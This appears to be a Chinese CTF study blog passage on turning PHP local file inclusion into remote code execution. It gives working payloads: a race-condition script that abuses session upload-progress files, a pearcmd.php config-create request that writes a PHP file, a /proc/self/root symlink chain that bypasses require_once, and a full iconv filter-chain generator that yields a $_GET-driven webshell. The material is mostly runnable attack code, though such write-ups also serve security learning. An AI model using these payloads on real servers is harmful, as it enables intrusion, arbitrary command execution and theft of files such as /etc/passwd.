------WebKitFormBoundaryfiKjPC47H7ESbbdB--
上传后我们可以控制文件名,就是我们的 PHPSESSID,但临时文件内容是空的
可见,我在上传文件的同时,POST 了一个名为 PHP_SESSION_UPLOAD_PROGRESS 的字段,其值为 bbbbbbb。(PHP_SESSION_UPLOAD_PROGRESS 是在 php.ini 里定义的 session.upload_progress.name)只要上传包里带上这个键,PHP 就会自动启用 Session,又因为我在 Cookie 中设置了 PHPSESSID=aaaaaaa,所以 Session 文件将会自动创建。
但它的大小为什么是 0 呢?因为上传结束后,这个 Session 将会被自动清除(由 session.upload_progress.cleanup 定义),我们只需要条件竞争,赶在文件被清除前利用即可。
通过竞争实现删除之前包含
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import io import requests import threading sessid = '23333' def t1(session): while True: f = io.BytesIO(b'a' * 1024 * 50) response = session.post( 'http://127.0.0.1:18888/file_upload.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'}, files={'file': ('a.txt', f)}, cookies={'PHPSESSID': sessid} ) def t2(session): while True: response = session.get(f'http://192.168.1.7/xss_location/include/session_upload.php?file=C:/windows/sess_{sessid}') print(response.text) with requests.session() as session: t1 = threading.Thread(target=t1, args=(session,)) t1.daemon = True t1.start() t2(session)
<?=phpinfo();?> 可以改为写文件,在自定义的路径下写文件,然后在包含,这样无需解决路径和文件名的问题
5. 通过 string.strip-tag 导致 php 崩溃
在 docker 中也是可以用的,具体看上面
6.pearcmd.php
pecl 是 PHP 中用于管理扩展而使用的命令行工具,而 pear 是 pecl 依赖的类库。在 7.3 及以前,pecl/pear 是默认安装的;在 7.4 及以后,需要我们在编译 PHP 的时候指定 --with-pear 才会安装。
不过,在 Docker 任意版本镜像中,pcel/pear 都会被默认安装,安装的路径在 /usr/local/lib/php 。
Docker 环境下的 PHP 会开启 register_argc_argv 这个配置。当开启了这个选项,用户的输入将会被赋予给 $argc 、 $argv 、 $_SERVER['argv'] 几个变量。
这意味着,HTTP 数据包中的 query-string 会被作为 argv 的值
[PHP 7.3.33 - phpinfo()](http://127.0.0.1:18888/phpinfo.php?uuuuuuu)
如果 query-string 中不包含没有编码的 = ,且请求是 GET 或 HEAD,则 query-string 需要被作为命令行参数。
PHP 现在仍然没有严格按照 RFC 来处理,即使我们传入的 query-string 包含等号,也仍会被赋值给 $_SERVER['argv'] 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 D:\xampp\php>php.exe pear/pearcmd.php Commands: build Build an Extension From C Source bundle Unpacks a Pecl Package channel-add Add a Channel channel-alias Specify an alias to a channel name channel-delete Remove a Channel From the List channel-discover Initialize a Channel from its server channel-info Retrieve Information on a Channel channel-login Connects and authenticates to remote channel server channel-logout Logs out from the remote channel server channel-update Update an Existing Channel clear-cache Clear Web Services Cache config-create Create a Default configuration file
create-config 是可以创建文件的,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
因此我们最终构造的 payload 如下 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
简单解释一下,这里的 config-create 会被当做命令行参数执行,执行的第一个参数是要写的文件内容,第二个参数是稳健位置,然后在通过包含即可
这个好就好在,docker 下的 php 默认都是开这个选项的,而且不用时间竞争,而且路径文件名可控,即使不是 docker 下,仍可以尝试,万一人家要安装依赖没关呢
# 通过多级软链接绕过 require_once
1 2 3 <?php require_once '/www/config.php'; // some logic here... require_once $_GET['file']; ?>
如果我们想要读取 /www/config.php 中的文件,通常可以通过 php://filter 来读取,比如 1.1.1.1/a.php?file=php://filter/read=convert.base64-encode/resource=/www/config.php ,但但如果这个文件在前面已经被包含过了,则第二次包含就会失败,即使使用 php://filter 也一样。
正常情况下,PHP 会将用户输入的文件名进行 resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。每次包含都会经历这个过程,所以,只要是相同的文件,不管中间使用了…/ 进行跳转,还是使用软连接进行跳转,都逃不过最终被转换成原始路径的过程,也就绕不过 require_once。
但是,如果软连接跳转的次数超过了某一个上限,Linux 的 lstat 函数就会出错,导致 PHP 计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过 require_once 限制。
/proc/self 指向当前进程的 /proc/pid/ , /proc/self/root/ 是指向 / 的符号链接,在 Linux 下,最常见的软连接就是 /proc/self/root,这个路径指向根目录。所以,我们可以多次使用这个路径:
1 2 3 <?php require_once '/www/config.php'; include_once '/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php';
# hxp ctf
# the end of LFI
在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件 的 RCE 。
前置知识 0x00
php://filter ,当使用 base64-decode 时,字符 <、?、;、>、空格等一共有 7 个字符不符合 base64 编码的字符范围将被忽略,而合法字符将被正常解码,我们的正常字符包括 A-Za-z0-9\/\=\+ 。同时需要注意,base64 在编码的时候是四个字节为一组的,这个在上面 session 包含中有过详细解释
举个师傅的例子:
1 2 3 4 5 <?php $a = "\x1bY\xffQ\xfa"; //YQ 为 a 的 base64 编码 var_dump(base64_decode($a)); // string(1) "a"
很明显,我们的不可见字符,控制字符也被忽略了
因此我们可以使用 base64 先 decode 在 incode 来去除 base64 不认可的非法字符,这是我们后面做题的基础
前置知识 0x01 包含文件中的 php 代码
假如我们有一个文件 e,文件中的内容是:PD9waHAgcGhwaW5mbygpOw==,即 <?php phpinfo(); 的 base64 编码,我们有两种方式包含:
1 2 include "php://filter/convert.base64-decode/resource=./e"; include "php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOw==";
include 函数实际包含的是 Base64 解码后的 PHP 代码。
前置知识 0x02 convert.iconv
PHP Filter 当中有一种 convert.iconv 的 Filter ,可以用来将数据从字符集 A 转换为字符集 B ,其中这两个字符集可以从 iconv -l 获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名。
举个例子,我们可以从 utf8 转换为 utf7 的编码
1 2 3 4 5 <?php $url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text"; echo file_get_contents($url); // Output: // some+ADwAPg-text
可以看到,我们在转换的同时成了一些其他的字符,比如 +ADwAPg-
这样结合我们的 base64 的 decode 忽略非法字符,和文件内容包含,也许可以直接转换出我们的 webshell
比如我们可以通过 UTF8 转 CSISO2022KR 得到字符 C:
1 2 3 4 5 6 7 8 9 10 $url = "php://filter/"; $url .= "convert.iconv.UTF8.CSISO2022KR"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; //我们这里简单使用 `data://` 来模拟文件内容读取。 var_dump(file_get_contents($url)); // hexdump: // 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 1b 24 29 43 |string(18) ".$)C| // 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 22 0a |aaaaaaaaaaaaaa".|
而 c 之前的非法字符,我们只需要利用 decode+incode 去除即可
1 2 3 4 5 6 7 8 9 $url = "php://filter/"; $url .= "convert.iconv.UTF8.CSISO2022KR"; $url .= "|convert.base64-decode|convert.base64-encode"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; var_dump(file_get_contents($url)); // hexdump // 00000000 73 74 72 69 6e 67 28 31 32 29 20 22 43 61 61 61 |string(12) "Caaa| // 00000010 61 61 61 61 61 61 61 61 22 0a |aaaaaaaa".|
前置知识结束,我们开始构造 payload:
由于 < 在 base64 是非法字符,我们无法直接构造 <?php 的形式,但我们可以构造 <?php base64 encode 过后的编码,在使用 base64decode 还原即可正常包含
构造 < 我们可以生成 PAxxxxx 的编码,解码过后我们就可以生成 <,我们接下来要做的就是能找到可以通过编码转换生成我们需要的字符,但后面也可能生成垃圾字符,我们只需要 decode+incode 就可以去除
我们最后的 webshell 长这样: PD89YCRfR0VUWzBdYDs7Pz4= 是
编码后的结果,两个;;的原因是一个;的 base64 PD89YCRfR0VUWzBdYDs/Pg== 中间有个 /,通过编码转换不好找的这个字符
其实我发现
你也可以加个空格,这样也不会有 \, PD89YCRfR0VUWzBdYDsgPz4=
最终我们的脚本长这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php $base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"; $conversions = array( 'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C' => 'convert.iconv.UTF8.CSISO2022KR', '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' ); $filters = "convert.base64-encode|"; # make sure to get rid of any equal signs in both the string we just generated and the rest of the file $filters .= "convert.iconv.UTF8.UTF7|"; foreach (str_split(strrev($base64_payload)) as $c) { $filters .= $conversions[$c] . "|"; $filters .= "convert.base64-decode|"; $filters .= "convert.base64-encode|"; $filters .= "convert.iconv.UTF8.UTF7|"; } $filters .= "convert.base64-decode"; $final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa"; // echo $final_payload; var_dump(file_get_contents($final_payload)); // hexdump // 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 3c 3f 3d 60 |string(18) "<?=`| // 00000010 24 5f 47 45 54 5b 30 5d 60 3b 3b 3f 3e 18 22 0a |$_GET[0]`;;?>.".|
convert.iconv.UTF8.UTF7 将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让 convert.base64-decode 过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。
我们可以知道对于这种方法来说,其实文件内容并不重要,但至少得有内容,而且一般读取有内容的文件并不是大问题,所以我们可以简单尝试利用 /etc/passwd :
后面还有一些天书一样的解释,我实在…
https://tttang.com/archive/1395/
还有一种神仙解法,先挖坑~
hxp CTF 2021 - A New Novel LFI - 跳跳糖 (tttang.com)
实话实说,都是我做不出来的解法
我也就做做 16 年的 ctf 罢了